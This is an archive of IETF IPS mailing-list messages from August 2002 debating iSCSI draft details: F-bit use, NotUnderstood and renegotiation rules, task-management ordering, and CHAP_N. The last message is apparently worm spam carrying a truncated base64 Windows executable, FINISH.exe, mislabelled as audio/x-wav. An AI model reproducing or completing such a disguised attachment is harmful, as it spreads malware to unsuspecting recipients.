needs to be sent to the Target and should be zero for Unsolicited data transfer. My question: If I need to send only immediate data:..[dataxferlen <= MaxRecvPduLen,InitalR2t=True,ImmediateData=True]....What should be the F-bit set to????. Should it be set to ZERO[because IMMEDIATE DATA ONLY[InitialR2t=True,ImmediateData=True] falls as one of unsolicited data transfer type] or should it be set to ONE[because no unsolicited data follows the command PDU]???? Regards, Prashanth __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From owner-ips@ece.cmu.edu Tue Aug 13 14:08:06 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11915 for ; Tue, 13 Aug 2002 14:08:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DHdnq21351 for ips-outgoing; Tue, 13 Aug 2002 13:39:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DHdlo21345 for ; Tue, 13 Aug 2002 13:39:47 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 8B1FE3070A; Tue, 13 Aug 2002 13:39:46 -0400 (EDT) Date: Tue, 13 Aug 2002 10:35:26 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: "Prashanth.C.A. Shetty" Cc: Subject: Re: About F-bit in ISCSI Scsi command PDU In-Reply-To: <20020813122037.51709.qmail@web20509.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Tue, 13 Aug 2002, Prashanth.C.A. Shetty wrote: > Hello All, > As per the draft definition of F-bit explained in > the iSCSI SCSI command PDU section..."F-bit should be > set to 1 when no unsolicited data follow the command > PDU". Where did you see that text? In draft 15, section 9.3.1, I see: (F) is set to 1 when no unsolicited SCSI Data-Out PDUs follow this PDU. > My interpretation of the above statement is: > F-bit in the command PDU is to be set to 1 by the > initiator only if solicited data needs to be sent to > the Target and should be zero for Unsolicited data > transfer. > My question: > If I need to send only immediate > data:..[dataxferlen <= > MaxRecvPduLen,InitalR2t=True,ImmediateData=True]....What > should be the F-bit set to????. The text quoted above clarifies that F only applies to unsolicited data PDUs, not immediate data. > Should it be set to ZERO[because IMMEDIATE DATA > ONLY[InitialR2t=True,ImmediateData=True] falls as one > of unsolicited data transfer type] or should it be set > to ONE[because no unsolicited data follows the command > PDU]???? One, as there are no unsolicited Data-Out PDUs. Note also that just because you negotiated ImmediateData=Yes, and it's probably better to (saves a data PDU), you don't HAVE to send any. You just can. Take care, Bill From owner-ips@ece.cmu.edu Tue Aug 13 17:20:38 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21043 for ; Tue, 13 Aug 2002 17:20:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DKgfQ09801 for ips-outgoing; Tue, 13 Aug 2002 16:42:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mercury.corp.iready.com ([65.115.68.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DKgdo09797 for ; Tue, 13 Aug 2002 16:42:39 -0400 (EDT) Received: by mercury.corp.iready.com with Internet Mail Service (5.5.2653.19) id ; Tue, 13 Aug 2002 13:42:33 -0700 Message-ID: <034670D62D19D31180990090277A37B7020DE272@mercury.corp.iready.com> From: Bart Crane To: "'ips@ece.cmu.edu'" Subject: Re-negotiating Vendor-Specific Keys Date: Tue, 13 Aug 2002 13:42:32 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24309.F2973E40" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24309.F2973E40 Content-Type: text/plain; charset="iso-8859-1" Sec. 4.2 says "... re-negotiation ... is forbidden for many keys." Sec. 4.3 says "If an attempt to re-negotiate/re-declare parameters not specifically allowed is detected ...". If an implementation wishes to determine whether an unrecognized vendor-specific key which is being re-negotiated is a violation of the protocol, it would need to access to information regarding that key. If an implementation had such information regarding that unrecognized key, the key would not be unrecognized. If an implementation does not recognize a vendor-specific key, it can not decide if re-negotiating that key is a protocol violation. Therefore, an implementation need not "remember" all unrecognized vendor-specific keys in order to detect protocol violations, because it does not have access to information necessary to determine if a protocol violation took place. ------_=_NextPart_001_01C24309.F2973E40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Re-negotiating Vendor-Specific Keys

Sec. 4.2 says "... re-negotiation ... is = forbidden for many keys." 

Sec. 4.3 says "If an attempt to = re-negotiate/re-declare parameters not specifically allowed is detected = ...".

If an implementation wishes to determine whether an = unrecognized vendor-specific key which is being re-negotiated is a = violation of the protocol, it would need to access to information = regarding that key. 

If an implementation had such information regarding = that unrecognized key, the key would not be unrecognized.

If an implementation does not recognize a = vendor-specific key, it can not decide if re-negotiating that key is a = protocol violation. 

Therefore, an implementation need not = "remember" all unrecognized vendor-specific keys in order to = detect protocol violations, because it does not have access to = information necessary to determine if a protocol violation took = place.

------_=_NextPart_001_01C24309.F2973E40-- From owner-ips@ece.cmu.edu Tue Aug 13 19:17:17 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25283 for ; Tue, 13 Aug 2002 19:17:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DM7LH14809 for ips-outgoing; Tue, 13 Aug 2002 18:07:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DM7Jo14802; Tue, 13 Aug 2002 18:07:19 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7DM7A7K026820; Wed, 14 Aug 2002 00:07:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7DM77mD073982; Wed, 14 Aug 2002 00:07:10 +0200 Subject: Re: iSCSI: Abort Task Set CmdSN: < or <= To: Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 Message-ID: From: "Julian Satran" Date: Tue, 13 Aug 2002 15:11:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 14/08/2002 01:07:09 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Tony, Immediate commands are only partially ordered. It does not make too much sense to have Task Management account for immediate commands that are not completely ordered vs. the TM itself. Abort Task Set should act only on commands that where issued before it and immediate commands with the same CmdSN do not meet this criteria. Julo "Tony Battersby" s.com> cc: Sent by: Subject: iSCSI: Abort Task Set CmdSN: < or <= owner-ips@ece.cmu .edu 08/12/2002 11:39 PM Please respond to tonyb Draft 15, section 9.5.1: "Task management requests must act on all the commands having a CmdSN lower than the task management CmdSN." "... all the tasks covered by the Task Management response (i.e., with CmdSN not higher than the task management command CmdSN), ..." "Lower than" is not the same as "not higher than" for the case of equal CmdSN's, which could happen if an immediate command preceeded the task management request. So if an immediate command is issued followed by a Task Management Function Request of ABORT TASK SET with the same CmdSN as the immediate command, should the immediate command be aborted or not? Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Tue Aug 13 19:17:27 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25297 for ; Tue, 13 Aug 2002 19:17:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DMh8S16409 for ips-outgoing; Tue, 13 Aug 2002 18:43:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DMh6o16404 for ; Tue, 13 Aug 2002 18:43:06 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7DMgeq6061882; Wed, 14 Aug 2002 00:42:41 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7DMgemC074548; Wed, 14 Aug 2002 00:42:40 +0200 To: pat_thaler@agilent.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, pat_thaler@agilent.com, wrstuden@wasabisystems.com MIME-Version: 1.0 Subject: RE: Problem with use of NotUnderstood in negotiations X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 14 Aug 2002 01:42:27 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 14/08/2002 01:42:40, Serialize complete at 14/08/2002 01:42:40 Content-Type: multipart/alternative; boundary="=_alternative 007BD8FDC2256C14_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 007BD8FDC2256C14_= Content-Type: text/plain; charset="us-ascii" OK - Julo pat_thaler@agilent.com 08/13/2002 07:28 PM To: Julian Satran/Haifa/IBM@IBMIL, pat_thaler@agilent.com cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, wrstuden@wasabisystems.com Subject: RE: Problem with use of NotUnderstood in negotiations Julian, Silent data corruption is when errors change the data in a way that is not detectable. It should be a rare event in a well designed system but it does occasionally occur. For iSCSI, silent data corruption would require: Error changes the payload such that the link layer CRC check passes (very low probablility - roughly (BER^3)*2^32) or the error occurs when the payload is not protected by link layer CRC (e.g. soft memory errors while in switch/router memory). AND TCP checksum escape (TCP checksum matches the corrupt data) Once in operational mode, we have the option of using digest to put a further barrier against silent data corruption. We have designed at least some protocol options (digests) for dealing with checksum escape. I think the approach you suggest for dealing with this is appropriate. Shouldn't this condition also be added to the list of errors in 5.10 Negotiation Failures? For the text in 4.2, it isn't clear what the must applies to. One might use: An iSCSI device MAY terminate a negotiation which does not end within a reasonable time or number of exchanges. For 8.3 it looks like MAY and SHOULD should be upper case. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, August 13, 2002 12:03 AM To: pat_thaler@agilent.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu; wrstuden@wasabisystems.com Subject: RE: Problem with use of NotUnderstood in negotiations Pat, I don't know what "silent data corruption is". The protocol is not built for this type of errors. Other than that you observe correctly that we do not mandate the receiver to check for every protocol error. However if it does not it has to implement some other means of protecting itself. None of the things that where suggested as protection are (or should be) mandatory. As for the count/timeout we may want to add to 4.2: A negotiation must end in within a reasonable time and/or number of exchanges. as well as add to 8.3 Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange). Julo pat_thaler@agilent.com Sent by: owner-ips@ece.cmu.edu 08/13/2002 03:35 AM To: Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Julian, Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added. Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login): If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection. The text for operational negotiation is similar except that the actions taken on detection are different. It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected". As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys. If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added. A simpler solution to concerns about the silent data corruption problem Bill identified is either 1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood or 2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably). Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests. However, number 1 would also be acceptable to me. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 10, 2002 9:40 PM To: Bill Studenmund Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, My only intention in the note was to be brief. If you viewed that as rude I am really sorry. I have a lot of mail to reply to and a limited time. As for the crux of the matter - if one of the parties receives a key it has not seen before with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this. However we may want to strengthen the rule in 4 (and add another line of text) as follows: The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values). In the second part of my comment I was just saying that if you failed to implement the above check you still can't enter a loop because the double negotiation rule. To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously. The protocol is not designed to handle either. Julo Bill Studenmund 08/11/2002 06:11 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the "repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill --=_alternative 007BD8FDC2256C14_= Content-Type: text/html; charset="us-ascii"
OK - Julo


pat_thaler@agilent.com

08/13/2002 07:28 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, pat_thaler@agilent.com
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu, wrstuden@wasabisystems.com
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


Julian,
 
Silent data corruption is when errors change the data in a way that is not detectable. It should be a rare event in a well designed system but it does occasionally occur. For iSCSI, silent data corruption would require:
 
Error changes the payload such that the link layer CRC check passes (very low probablility - roughly
(BER^3)*2^32) or the error occurs when the payload is not protected by link layer CRC (e.g. soft memory errors while in switch/router memory).
AND
TCP checksum escape (TCP checksum matches the corrupt data)
 
Once in operational mode, we have the option of using digest to put a further barrier against silent data corruption. We have designed at least some protocol options (digests) for dealing with checksum escape.
 
I think the approach you suggest for dealing with this is appropriate.
Shouldn't this condition also be added to the list of errors in 5.10 Negotiation Failures?
 
For the text in 4.2, it isn't clear what the must applies to. One might use:
 
An iSCSI device MAY terminate a negotiation which does not end within a reasonable time or number of exchanges.
 
For 8.3 it looks like MAY and SHOULD should be upper case.
 
Regards,
Pat
 
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Tuesday, August 13, 2002 12:03 AM
To: pat_thaler@agilent.com
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu; wrstuden@wasabisystems.com
Subject: RE: Problem with use of NotUnderstood in negotiations

Pat,

I don't know what "silent data corruption is". The protocol is not built for this type of errors.
Other than that you observe correctly that we do not mandate the receiver to check for every
protocol error. However if it does not it has to implement some other means of protecting itself.
None of the things that where suggested as protection are (or should be) mandatory.
As for the count/timeout we may want to add to 4.2:

A negotiation must end in within a reasonable time and/or number of exchanges.

as well as add to 8.3

Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange).

Julo


pat_thaler@agilent.com
Sent by: owner-ips@ece.cmu.edu

08/13/2002 03:35 AM

       
       To:        Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com
       cc:        ips@ece.cmu.edu
       Subject:        RE: Problem with use of NotUnderstood in negotiations

     



Julian,
 
Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added.
 
Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login):

If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection.

The text for operational negotiation is similar except that the actions taken on detection are different.
 
It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected".
 
As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys.
 
If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all
received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added.
 
A simpler solution to concerns about the silent data corruption problem Bill identified is either
 
1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood
 
or
 
2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably).
 
Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests.
 
However, number 1 would also be acceptable to me.
 
Regards,
Pat
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 10, 2002 9:40 PM
To: Bill Studenmund
Cc: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations


Bill,

My only intention in the note was to be brief.  If you viewed that as rude I am really sorry.
I have a lot of mail to reply to and a limited time.

As for the crux of the matter - if one of the parties receives a key it has not seen before
with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this.
However we may want to strengthen the rule in 4 (and add another line of text) as follows:

The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values).

In the second part of my comment I was just saying that if you  failed to implement the above check you still can't enter a loop
because the double negotiation rule.

To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously.
The protocol is not designed to handle either.

Julo
Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 06:11 AM

       
      To:        Julian Satran/Haifa/IBM@IBMIL
      cc:        <ips@ece.cmu.edu>
      Subject:        RE: Problem with use of NotUnderstood in negotiations

     




On Sat, 10 Aug 2002, Julian Satran wrote:

> Bill,
>
> Perhaps the text is unabiguos but you just ignored the text that forbids
> it.

Julian,

I must say that the tone above is very unbecoming of the author of a
protocol spec. In the past, I've often gotten snippy comments from you,
but written them off to, well, I'm not sure what. But it seems that you
really don't listen to what I say. You read a message, make an
interpretation, do not question that interpretation, and then you run with
it. That's really bad. Besides being quite rude and exceedingly arrogant,
you'll miss things. And the iSCSI spec will suffer for it. Do you think
whatever is going on between us worth more than a bad iSCSI spec? I don't.

Also, if you're going to say that the text is unambiguous, please quote
said text. That makes the discussion much clearer.

> The use of Notunderstood is limited to responses. Using it as you suggest
> is a protocol error.

Julian, I have to ask, what exactly do you think I'm suggesting? From
parsing your sentence, I read that you are telling me that I'm suggesting
using NotUnderstood outside its limited scope, of responses.

As I understand the situation I described, both parties think they are
using NotUnderstood as a response. How is using it as a response outside
its use as a response?

> A repeated use will also violate the "no renegotiation rule".

Please be VERY VERY VERY careful when saying that. Have you thought about
what the statement you just made will imply?

We are (or at least I started) talking about the case where one side
THOUGHT it sent key X, but somehow it was key Y that made it to the other
side. Be it a bug in the code on one side or the other, a PCI bus error in
transfer, a router glitch, or what. Key Y doesn't exist in the spec, and
it's in the negotiation stream. OGMarker or DataPDPInOrder would be
examples.

The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't
understand. Reading the spec, it succinctly states if you get a key you
don't understand, you MUST reply "NotUnderstood".

Getting back to the "repeated use is a protocol violation," how is each
side supposed to realize that they are seeing "OGMarker=NotUnderstood" for
the second time, other than by remembering that it saw OGMarker as a
not-understood key. i.e. by in addition to replying, "NotUnderstood", each
side has to remember that it responded NotUnderstood to key foo. That
seems unwise. I can think of at least one DoS attack if that really is
what implementations do.

Getting back to addressing the topic of the thread, what is wrong with
this text, slightly modified from the I proposed in the first message?

***
Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST
be considered a protocol violation.
***

As I said before, my main interest is the spec point out that if for a key
you don't understand you get the value "NotUnderstood" (i.e. the other
side is telling you it didn't understand a key that it turns out you also
don't understand), you don't just answer "NotUnderstood". Either
saying nothing, or considering it a protocol violation (since if we both
didn't understand the key it should have never gotten into the
negotiations) are both fine options. I now favor protocol violation as if
neither side understood the key, it should not be there. If it's there,
something is wrong.

Take care,

Bill

--=_alternative 007BD8FDC2256C14_=-- From owner-ips@ece.cmu.edu Tue Aug 13 20:12:10 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26340 for ; Tue, 13 Aug 2002 20:12:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DNaJD18534 for ips-outgoing; Tue, 13 Aug 2002 19:36:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DNaIo18530 for ; Tue, 13 Aug 2002 19:36:18 -0400 (EDT) Received: from cisco.com (dhcp-64-101-211-211.cisco.com [64.101.211.211]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id SAA11652 for ; Tue, 13 Aug 2002 18:11:20 -0400 (EDT) Message-ID: <3D598408.A322FEB4@cisco.com> Date: Tue, 13 Aug 2002 17:11:20 -0500 From: Steve Senum X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: iSCSI: Minor Comment on CHAP_N Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian and Ofer, At the last plugfest, Ayman said there seemed to be some confusion about the CHAP_N key. It would be helpful to add a comment in section 10.1.4 to the effect of: The CHAP_N key specifies the identity of the iSCSI Initiator or Target for CHAP authentication purposes, which may be different from the iSCSI name and should be configurable. I think a similiar comment applies to SRP_U key. Regards, Steve Senum From owner-ips@ece.cmu.edu Tue Aug 13 20:12:50 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26356 for ; Tue, 13 Aug 2002 20:12:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DNlCc18983 for ips-outgoing; Tue, 13 Aug 2002 19:47:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sm13.texas.rr.com (sm13.texas.rr.com [24.93.35.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DNl7o18975 for ; Tue, 13 Aug 2002 19:47:08 -0400 (EDT) Received: from Kgmz (cs24243252-119.austin.rr.com [24.243.252.119]) by sm13.texas.rr.com (8.12.0.Beta16/8.12.0.Beta16) with SMTP id g7DNo3jD002646 for ; Tue, 13 Aug 2002 18:50:06 -0500 Date: Tue, 13 Aug 2002 18:50:03 -0500 Message-Id: <200208132350.g7DNo3jD002646@sm13.texas.rr.com> From: jpink To: ips@ece.cmu.edu Subject: Fw:ips,introduction on ADSL MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=G89VBcj2j9O128ce4N8ZE03569EH328j4wRYZ Sender: owner-ips@ece.cmu.edu Precedence: bulk --G89VBcj2j9O128ce4N8ZE03569EH328j4wRYZ Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --G89VBcj2j9O128ce4N8ZE03569EH328j4wRYZ Content-Type: audio/x-wav; name=FINISH.exe Content-ID: Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA 